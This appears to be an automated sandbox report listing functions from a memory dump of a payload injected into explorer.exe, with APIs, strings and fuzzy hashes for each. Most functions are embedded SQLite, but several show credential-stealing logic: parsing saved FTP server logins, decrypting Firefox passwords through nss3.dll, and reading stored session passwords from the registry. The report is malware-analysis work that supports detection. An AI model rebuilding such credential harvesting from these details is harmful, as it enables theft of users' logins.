Function 030F4438 Relevance: 19.9, APIs: 3, Strings: 10, Instructions: 359COMMON

Download Yara Rule

APIs

memcmp.NTDLL ref: 030F4502
memcmp.NTDLL ref: 030F475F
memcpy.NTDLL(00000000,00000000,00000000,00000002,?,00000000,000001D8,?,00000000), ref: 030F4803

Strings

file, xrefs: 030F4474
localhost, xrefs: 030F44FD
mode, xrefs: 030F4712
cache, xrefs: 030F46FA
no such %s mode: %s, xrefs: 030F4784
access, xrefs: 030F4725
invalid uri authority: %.*s, xrefs: 030F4513
no such vfs: %s, xrefs: 030F482F
cach, xrefs: 030F46DC
%s mode not allowed: %s, xrefs: 030F47D0

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: memcmp$memcpy
String ID: %s mode not allowed: %s$access$cach$cache$file$invalid uri authority: %.*s$localhost$mode$no such %s mode: %s$no such vfs: %s
API String ID: 231171946-1096842476
Opcode ID: 6334a97a819dd6e27a59e1cfeaa0b4d256312311f66b3ec4a1b1bcb4f456f111
Instruction ID: 9f981973cbc44d21df37d640d03aa7a152117abb4fc4b02fb2ab59408a038976
Opcode Fuzzy Hash: 6334a97a819dd6e27a59e1cfeaa0b4d256312311f66b3ec4a1b1bcb4f456f111
Instruction Fuzzy Hash: F6C13470A0A3468FEB74CF1AC48077BB7E5AF89704F08096EEED58BA51D724D4458B42

Uniqueness

Uniqueness Score: -1.00%

Function 030C5F08 Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 328COMMON

Download Yara Rule

APIs

Part of subcall function 030A6AAA: memset.NTDLL ref: 030A6AC5

memset.NTDLL ref: 030C5F53

Strings

foreign key, xrefs: 030C60A3
no such column: "%s", xrefs: 030C6271
cannot open table without rowid: %s, xrefs: 030C5FCF
cannot open view: %s, xrefs: 030C5FF3
cannot open virtual table: %s, xrefs: 030C5FAA
indexed, xrefs: 030C60E8
cannot open %s column for writing, xrefs: 030C6255

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: memset
String ID: cannot open %s column for writing$cannot open table without rowid: %s$cannot open view: %s$cannot open virtual table: %s$foreign key$indexed$no such column: "%s"
API String ID: 2221118986-594550510
Opcode ID: 745c5722262760f3df5b8a304eeced2533b360bcaa9d9f0c15460df46793bd25
Instruction ID: c8ea6fc7b71d76807e84419cb2b18338c7abb9be2387456eaf0fdf585f798c1c
Opcode Fuzzy Hash: 745c5722262760f3df5b8a304eeced2533b360bcaa9d9f0c15460df46793bd25
Instruction Fuzzy Hash: FAC1AD746167469FCB64CF28C480A6FB7E6BFC8700F18891DE8959B241D736E812CB82

Uniqueness

Uniqueness Score: -1.00%

Function 030A4440 Relevance: 37.0, APIs: 11, Strings: 10, Instructions: 289stringmemoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 030A44AA
lstrcmpiW.KERNEL32(RecentServers,?), ref: 030A456E
lstrcmpiW.KERNEL32(Servers,?), ref: 030A457D
lstrcmpiW.KERNEL32(Settings,?), ref: 030A458C

Part of subcall function 030A11E1: lstrlenW.KERNEL32(?,7591F360,00000000,?,00000000,?,030A46E3), ref: 030A11ED
Part of subcall function 030A11E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 030A120F
Part of subcall function 030A11E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 030A1231

lstrcmpiW.KERNEL32(Server,?), ref: 030A45BE
lstrcmpiW.KERNEL32(LastServer,?), ref: 030A45CD
lstrcmpiW.KERNEL32(Host,?), ref: 030A4657
lstrcmpiW.KERNEL32(Port,?), ref: 030A4679
lstrcmpiW.KERNEL32(User,?), ref: 030A469F
lstrcmpiW.KERNEL32(Pass,?), ref: 030A46C5
wsprintfW.USER32 ref: 030A471E

Strings

Servers, xrefs: 030A4578
LastServer, xrefs: 030A45C8
Pass, xrefs: 030A46C0
Host, xrefs: 030A4652
Settings, xrefs: 030A4587
RecentServers, xrefs: 030A4569
Port, xrefs: 030A4674
%s:%s, xrefs: 030A4718
Server, xrefs: 030A45B9
User, xrefs: 030A469A

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: lstrcmpi$String$BinaryCrypt$Alloclstrlenwsprintf
String ID: %s:%s$Host$LastServer$Pass$Port$RecentServers$Server$Servers$Settings$User
API String ID: 1416614492-1234691226
Opcode ID: b805207a797d2ddc6837bbcdc7c56a39e8f700c40a68347c4b70ece9255543b5
Instruction ID: 4088226ecc5fd625ee69908df155c5510cfcb101145e700b0a5129f5036bc3ab
Opcode Fuzzy Hash: b805207a797d2ddc6837bbcdc7c56a39e8f700c40a68347c4b70ece9255543b5
Instruction Fuzzy Hash: 0CB16775205306AFC740DFA9C884E6BB7E9EFC9745F00895CF5958B220DBB2E806CB52

Uniqueness

Uniqueness Score: -1.00%

Function 030A24B0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 030A1000: GetProcessHeap.KERNEL32(00000008,?,030A11C7,?,?,00000001,00000000,?), ref: 030A1003
Part of subcall function 030A1000: RtlAllocateHeap.NTDLL(00000000), ref: 030A100A

Part of subcall function 030A1090: lstrlenW.KERNEL32(?,?,00000000,030A17E5), ref: 030A1097
Part of subcall function 030A1090: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000001,00000000,00000000), ref: 030A10A8

Part of subcall function 030A19B4: lstrlenW.KERNEL32(00000000,00000000,00000000,030A2CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 030A19C4

GetCurrentDirectoryW.KERNEL32(00000104,00000000), ref: 030A2503
SetCurrentDirectoryW.KERNEL32(00000000), ref: 030A250A
LoadLibraryW.KERNEL32(00000000), ref: 030A2563
SetCurrentDirectoryW.KERNEL32(?), ref: 030A2570
GetProcAddress.KERNEL32(00000000,NSS_Init), ref: 030A2591
GetProcAddress.KERNEL32(00000000,NSS_Shutdown), ref: 030A259E
GetProcAddress.KERNEL32(00000000,SECITEM_FreeItem), ref: 030A25AB
GetProcAddress.KERNEL32(00000000,PK11_GetInternalKeySlot), ref: 030A25B8
GetProcAddress.KERNEL32(00000000,PK11_Authenticate), ref: 030A25C5
GetProcAddress.KERNEL32(00000000,PK11SDR_Decrypt), ref: 030A25D2
GetProcAddress.KERNEL32(00000000,PK11_FreeSlot), ref: 030A25DF

Part of subcall function 030A190B: lstrlen.KERNEL32(?,?,?,?,00000000,030A2783), ref: 030A192B
Part of subcall function 030A190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,030A2783), ref: 030A1930
Part of subcall function 030A190B: lstrcat.KERNEL32(00000000,?), ref: 030A1946
Part of subcall function 030A190B: lstrcat.KERNEL32(00000000,00000000), ref: 030A194A

Strings

NSS_Shutdown, xrefs: 030A2593
SECITEM_FreeItem, xrefs: 030A25A0
PK11_GetInternalKeySlot, xrefs: 030A25AD
PK11SDR_Decrypt, xrefs: 030A25C7
PK11_Authenticate, xrefs: 030A25BA
nss3.dll, xrefs: 030A2510
NSS_Init, xrefs: 030A258B
sql:, xrefs: 030A262B
PK11_FreeSlot, xrefs: 030A25D4

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: AddressProc$lstrlen$CurrentDirectory$Heaplstrcat$AllocateByteCharLibraryLoadMultiProcessWide
String ID: NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_FreeSlot$PK11_GetInternalKeySlot$SECITEM_FreeItem$nss3.dll$sql:
API String ID: 3366569387-3272982511
Opcode ID: 1b3acbb17e93115b824278536f0b45fc138ab9be9f029726a86d28fa10be6e6f
Instruction ID: 2707ba43c508d05c22662e43e86824acc58729140c9af486fd255fe323527e5c
Opcode Fuzzy Hash: 1b3acbb17e93115b824278536f0b45fc138ab9be9f029726a86d28fa10be6e6f
Instruction Fuzzy Hash: 86415D38A03715AFC718FFBDB95446F7AE9AB89740B04043ED841D7205DBB988458B60

Uniqueness

Uniqueness Score: -1.00%

Function 030A5E5A Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 382COMMON

Download Yara Rule

APIs

Part of subcall function 030A5BF5: memset.NTDLL ref: 030A5C07

_alldiv.NTDLL(?,?,05265C00,00000000), ref: 030A60E1
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 030A60EC
_alldiv.NTDLL(?,?,000003E8,00000000), ref: 030A6113
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 030A618E
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 030A61B5
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 030A61C1

Strings

W, xrefs: 030A6193
%lld, xrefs: 030A6122
%02d, xrefs: 030A6039, 030A61D3
%06.3f, xrefs: 030A6229
%04d, xrefs: 030A6016
%03d, xrefs: 030A61F3
%.16g, xrefs: 030A6077

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: _alldiv$_allrem$memset
String ID: %.16g$%02d$%03d$%04d$%06.3f$%lld$W
API String ID: 2557048445-1989508764
Opcode ID: 4d4ba205c8758c107ee7a94c47ea5ef863712d4e97912643621b2f9cb6b40cd0
Instruction ID: 92425d9047dd74e06a6f9d4b7ad2d043e0f1e2538d11f8d100f25469db2d2451
Opcode Fuzzy Hash: 4d4ba205c8758c107ee7a94c47ea5ef863712d4e97912643621b2f9cb6b40cd0
Instruction Fuzzy Hash: 08B1BDB2906F469FD725DEACEC84B7FBFE4FB81204F1C0949F4C29A181E726C9548685

Uniqueness

Uniqueness Score: -1.00%

Function 030BD2AC Relevance: 19.7, APIs: 1, Strings: 12, Instructions: 169COMMON

Download Yara Rule

APIs

memcmp.NTDLL ref: 030BD324

Strings

(%.20s), xrefs: 030BD38A
program, xrefs: 030BD46A
%lld, xrefs: 030BD3CA
(blob), xrefs: 030BD416
,%s%s, xrefs: 030BD34E
,%d, xrefs: 030BD444
k(%d, xrefs: 030BD2EE
%s(%d), xrefs: 030BD3AB
NULL, xrefs: 030BD40F
%.16g, xrefs: 030BD3E5
vtab:%p, xrefs: 030BD423
BINARY, xrefs: 030BD31E

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: memcmp
String ID: %.16g$%lld$%s(%d)$(%.20s)$(blob)$,%d$,%s%s$BINARY$NULL$k(%d$program$vtab:%p
API String ID: 1475443563-3683840195
Opcode ID: 8368339323ba83a917c51287b36602cc4d784f44840d3e1818318bdc80bbc7d4
Instruction ID: 99f313af56627416dfe04c2fbdf6aa826d3fc5dc9eeefc002dbe48f02a50cc4e
Opcode Fuzzy Hash: 8368339323ba83a917c51287b36602cc4d784f44840d3e1818318bdc80bbc7d4
Instruction Fuzzy Hash: 9D5193725067049FC710DF98DC40AFBF7F5AB85A00F088869FA659F502E375E909C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 030A48B1 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 030A19E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2,PortNumber,00000000,00000000), ref: 030A1A1E
Part of subcall function 030A19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 030A1A3C
Part of subcall function 030A19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 030A1A75
Part of subcall function 030A19E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2,PortNumber,00000000,00000000), ref: 030A1A98

Part of subcall function 030A482C: lstrlenW.KERNEL32(?), ref: 030A4845
Part of subcall function 030A482C: lstrlenW.KERNEL32(?), ref: 030A488F
Part of subcall function 030A482C: lstrlenW.KERNEL32(?), ref: 030A4897

wsprintfW.USER32 ref: 030A49A7
wsprintfW.USER32 ref: 030A49B9

Strings

HostName, xrefs: 030A48C4
RemoteDirectory, xrefs: 030A48F8
%s:%u/%s, xrefs: 030A4982, 030A49A5
Password, xrefs: 030A48E4
%s:%u, xrefs: 030A4971, 030A49B7
UserName, xrefs: 030A48D2

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: lstrlen$QueryValuewsprintf$CloseOpen
String ID: %s:%u$%s:%u/%s$HostName$Password$RemoteDirectory$UserName
API String ID: 2889301010-4273187114
Opcode ID: 450663500d1b262c095cb16a0d2fec60f8c9f9da81e711a39c284df2d8710b4a
Instruction ID: 20f1f3d256f2153415e0fd30467c2b9d7be41003e987cec38a34383458e3e270
Opcode Fuzzy Hash: 450663500d1b262c095cb16a0d2fec60f8c9f9da81e711a39c284df2d8710b4a
Instruction Fuzzy Hash: 3731C13970EB085BC654EBEEE84192FB6EDEBC9644B09491DB1458B340DAB29C0187A1

Uniqueness

Uniqueness Score: -1.00%

Function 030AF92F Relevance: 12.4, APIs: 4, Strings: 4, Instructions: 350COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?,00000000), ref: 030AFB32
memcpy.NTDLL(?,?,00000000,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 030AFB4D
memcpy.NTDLL(?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 030AFB60
memcpy.NTDLL(?,?,?,?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030), ref: 030AFB95

Strings

-wal, xrefs: 030AFBA9
-journal, xrefs: 030AFB6B
nolock, xrefs: 030AFC4E
immutable, xrefs: 030AFC68

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: memcpy
String ID: -journal$-wal$immutable$nolock
API String ID: 3510742995-3408036318
Opcode ID: 3ab91a187c50d3fc86b6845ae4418ff31285362b2033df7bb96d316086611493
Instruction ID: e9bbd5fe74c125ed68c7c5bf2a34cb81dfda436e675d566c5ab6f37b4cee9ac9
Opcode Fuzzy Hash: 3ab91a187c50d3fc86b6845ae4418ff31285362b2033df7bb96d316086611493
Instruction Fuzzy Hash: 27D1D2B16097428FD714DFACD880BAABBE5AF95310F08466DE8998F381D775D804CB52

Uniqueness

Uniqueness Score: -1.00%

Function 030A7820 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 407COMMON

Download Yara Rule

Strings

NaN, xrefs: 030A73F8
-x0, xrefs: 030A7325
%, xrefs: 030A7822

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID:
String ID: %$-x0$NaN
API String ID: 0-62881354
Opcode ID: 7069fc277edd12d90d171a1c7aeae4c1ca8ded4d0ce6405f4749696cbb81507d
Instruction ID: d9d84f2be8fa5c0bbde659691df8d4fdb0c41d253ccd28cab0411d4e66752596
Opcode Fuzzy Hash: 7069fc277edd12d90d171a1c7aeae4c1ca8ded4d0ce6405f4749696cbb81507d
Instruction Fuzzy Hash: 36D1133160AB828FD765CAECA49076FFBE5AFC5A04F1C889DE8C18B341D665C945C782

Uniqueness

Uniqueness Score: -1.00%

Function 030A78B0 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 441COMMON

Download Yara Rule

Strings

NaN, xrefs: 030A73F8
-x0, xrefs: 030A7325

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: a32f44eb016180a366f1034ee62530cfb742d4aa5502ae02a2bc79317a6b74bb
Instruction ID: 0b342ab1c96f8d7f0fe3746a2f7069a36f03529979fde8666fcd69d25e449451
Opcode Fuzzy Hash: a32f44eb016180a366f1034ee62530cfb742d4aa5502ae02a2bc79317a6b74bb
Instruction Fuzzy Hash: 2EE1133160AB828FD765CEECA45076FFBE5AFC5A04F1C889DE8C18B341D665C941C782

Uniqueness

Uniqueness Score: -1.00%

Function 030A7A5C Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 431COMMON

Download Yara Rule

Strings

NaN, xrefs: 030A73F8
-x0, xrefs: 030A7325

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: dba096ed686d0a8d6b13865487149238e5b1009545f88efb501bc6ce15ec0bba
Instruction ID: 4dc25a6d673dbef98372cf05690d9ae1b0ecd8bea662b34bf528c4a9a43aae26
Opcode Fuzzy Hash: dba096ed686d0a8d6b13865487149238e5b1009545f88efb501bc6ce15ec0bba
Instruction Fuzzy Hash: B0E1123560AB828FD765CEECA49076FFBE5AFC5A04F1C889DE8C18B341D665C941C782

Uniqueness

Uniqueness Score: -1.00%

Function 030A7A28 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 426COMMON

Download Yara Rule

Strings

NaN, xrefs: 030A73F8
-x0, xrefs: 030A7325

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 1bd8eff81241c86e84bedd39611a1381bfafbc502d3bd0a8dbd62fe275351cfd
Instruction ID: 4e01b889ff9365feafe83560abf27345a85883405b031312c08d30dcc7cd249a
Opcode Fuzzy Hash: 1bd8eff81241c86e84bedd39611a1381bfafbc502d3bd0a8dbd62fe275351cfd
Instruction Fuzzy Hash: 66E1137160AB828FD765CEECA49076FFBE5AFC5A04F1C889DE8C18B341D665C941C782

Uniqueness

Uniqueness Score: -1.00%

Function 030A77F9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 414COMMON

Download Yara Rule

Strings

NaN, xrefs: 030A73F8
-x0, xrefs: 030A7325

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 154d142bb8c27788e7c7a36d0089b9dd20829a119b97d003b67f0877badebf68
Instruction ID: 12bc36d7500e9dfbebd61e8f906b853deab638d808d455eb33f499bf18e12db4
Opcode Fuzzy Hash: 154d142bb8c27788e7c7a36d0089b9dd20829a119b97d003b67f0877badebf68
Instruction Fuzzy Hash: 93E1037060AB828FD765CEECA49076FFBE5AFC9A04F1C889DE8C18B341D665C945C742

Uniqueness

Uniqueness Score: -1.00%

Function 030A70C9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 403COMMON

Download Yara Rule

APIs

_aulldvrm.NTDLL(00000000,00000002,0000000A,00000000), ref: 030A720E
_aullrem.NTDLL(00000000,?,0000000A,00000000), ref: 030A7226
_aulldvrm.NTDLL(00000000,00000000,?), ref: 030A727B

Strings

NaN, xrefs: 030A73F8
-x0, xrefs: 030A7325

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: _aulldvrm$_aullrem
String ID: -x0$NaN
API String ID: 105165338-3447725786
Opcode ID: 47881500f9e1a805946fc4760db20bbf7b9aa713510a227f5663d9c60a8ca6a2
Instruction ID: 2d03bcc9dce130c8b776ebdd0cca5b3616c9d0f8d56c21332849ff8bbcc8ba4c
Opcode Fuzzy Hash: 47881500f9e1a805946fc4760db20bbf7b9aa713510a227f5663d9c60a8ca6a2
Instruction Fuzzy Hash: BED1233060AB828FD765CEECA49076FFBE5AFC5A04F1C889DE8C18B341D665C845C782

Uniqueness

Uniqueness Score: -1.00%

Function 030A898F Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 353COMMON

Download Yara Rule

APIs

_allmul.NTDLL(00000000,?,0000000A,00000000), ref: 030A8AAD
_allmul.NTDLL(?,?,0000000A,00000000), ref: 030A8B66
_allmul.NTDLL(?,00000000,0000000A,00000000), ref: 030A8C9B
_alldvrm.NTDLL(?,00000000,0000000A,00000000), ref: 030A8CAE

Strings

., xrefs: 030A8B17

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: _allmul$_alldvrm
String ID: .
API String ID: 115548886-248832578
Opcode ID: 36ccb5b19144df057404ec42320c11048333f7514ba2d20b6621f7ffc7fb194a
Instruction ID: 46214e9fa0b423a6960f97ac194fa8a68aaefaa1e42a3230385f5b6267ef71d8
Opcode Fuzzy Hash: 36ccb5b19144df057404ec42320c11048333f7514ba2d20b6621f7ffc7fb194a
Instruction Fuzzy Hash: 22D1D2B190EB858BC714DF8CA48026EFFF5BBD5314F088D6EF6D55A280D3B189458B86

Uniqueness

Uniqueness Score: -1.00%

Function 030CD684 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 030CD6A0
memset.NTDLL ref: 030CD6B3
memset.NTDLL ref: 030CD6C3

Strings

9, xrefs: 030CD701
7, xrefs: 030CD71B
,, xrefs: 030CD6FC

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: memset
String ID: ,$7$9
API String ID: 2221118986-1653249994
Opcode ID: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction ID: e7af182636b99c4106b363f146193392853b6af02600724b4da1dc0ad73d2589
Opcode Fuzzy Hash: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction Fuzzy Hash: 39316D715093849FD330DF60D840BDFBBE9AFC5240F00492EEA8997251EB719549CB92

Uniqueness

Uniqueness Score: -1.00%

Function 030A1BC5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,00000000,?,030A2E75,PathToExe,00000000,00000000), ref: 030A1BCC
StrStrIW.SHLWAPI(00000000,.exe,?,030A2E75,PathToExe,00000000,00000000), ref: 030A1BF0
StrRChrIW.SHLWAPI(00000000,00000000,0000005C,?,030A2E75,PathToExe,00000000,00000000), ref: 030A1C05
lstrlenW.KERNEL32(00000000,?,030A2E75,PathToExe,00000000,00000000), ref: 030A1C1C

Strings

.exe, xrefs: 030A1BEA

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: lstrlen
String ID: .exe
API String ID: 1659193697-4119554291
Opcode ID: 70aa12c3af0dab841a5f92aba9af384939feb612a4d3987fbd25961f43ec01eb
Instruction ID: 2aa53c3804494d1ff5b81a456a8d57202b499840de31e4409978ebc275d6fa53
Opcode Fuzzy Hash: 70aa12c3af0dab841a5f92aba9af384939feb612a4d3987fbd25961f43ec01eb
Instruction Fuzzy Hash: E6F0C234313A209FD368BFBCBC45ABF62E9EF05341F28482AE146C7151EB658C41C759

Uniqueness

Uniqueness Score: -1.00%

Function 030A2112 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29timeCOMMON

Download Yara Rule

APIs

Part of subcall function 030A1000: GetProcessHeap.KERNEL32(00000008,?,030A11C7,?,?,00000001,00000000,?), ref: 030A1003
Part of subcall function 030A1000: RtlAllocateHeap.NTDLL(00000000), ref: 030A100A

GetSystemTimeAsFileTime.KERNEL32(?), ref: 030A2127
_alldiv.NTDLL(?,?,00989680,00000000), ref: 030A213A
wsprintfA.USER32 ref: 030A214F

Strings

%li, xrefs: 030A2149

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: HeapTime$AllocateFileProcessSystem_alldivwsprintf
String ID: %li
API String ID: 4120667308-1021419598
Opcode ID: 5106339f0f2513b2eec29925b34c3cae1c554f05087124511dfd528ee28504cd
Instruction ID: 114928200ed2563c9ff8646f34cdfe44921a58ce8bbdb3284beb8448428e3e29
Opcode Fuzzy Hash: 5106339f0f2513b2eec29925b34c3cae1c554f05087124511dfd528ee28504cd
Instruction Fuzzy Hash: 6DE092366422087BC720BBA89C06EEE7B6CEB40A15F040191FA00AA945D9A35A2483D5

Uniqueness

Uniqueness Score: -1.00%

Function 030B2FF6 Relevance: 6.6, APIs: 5, Instructions: 369COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000018), ref: 030B316F
_allmul.NTDLL(-00000001,00000000,?,?), ref: 030B31D2
_alldiv.NTDLL(?,?,00000000), ref: 030B32DE
_allmul.NTDLL(00000000,?,00000000), ref: 030B32E7
_allmul.NTDLL(?,00000000,?,?), ref: 030B3392

Part of subcall function 030B16CD: memset.NTDLL ref: 030B172B

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: _allmul$_alldivmemset
String ID:
API String ID: 3880648599-0
Opcode ID: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction ID: 399d04dd70ca5cc2cb4e68a69cc18b5f223f5b4f9ab87a9c06c4a2e5f875e461
Opcode Fuzzy Hash: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction Fuzzy Hash: 28D19A7860A7018BDB64CF69C480BAFBBF5AFC8704F28486DF99597250DB70D845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 030D87FA Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 388COMMON

Download Yara Rule

Strings

FOREIGN KEY constraint failed, xrefs: 030D8AC8
old, xrefs: 030D889E
new, xrefs: 030D88AA

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID:
String ID: FOREIGN KEY constraint failed$new$old
API String ID: 0-384346570
Opcode ID: 02b82a89fd670e16ff6a30fea3c0943d3b6180cad875942f9b3d7fecded178ee
Instruction ID: 9f272768d52bff87b6866bc448ba706d6ba100afd7f61b520dc1121a0d90303a
Opcode Fuzzy Hash: 02b82a89fd670e16ff6a30fea3c0943d3b6180cad875942f9b3d7fecded178ee
Instruction Fuzzy Hash: 09D168747093409FD714DF28D880B6FBBE9ABC8750F14891EF9458B290DB74D942CB92

Uniqueness

Uniqueness Score: -1.00%

Function 030A96BC Relevance: 6.4, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_alldiv.NTDLL(000000FF,7FFFFFFF,?,?), ref: 030A96E7
_alldiv.NTDLL(00000000,80000000,?,?), ref: 030A9707
_alldiv.NTDLL(00000000,80000000,?,?), ref: 030A9739
_alldiv.NTDLL(00000001,80000000,?,?), ref: 030A976C
_allmul.NTDLL(?,?,?,?), ref: 030A9798

Memory Dump Source

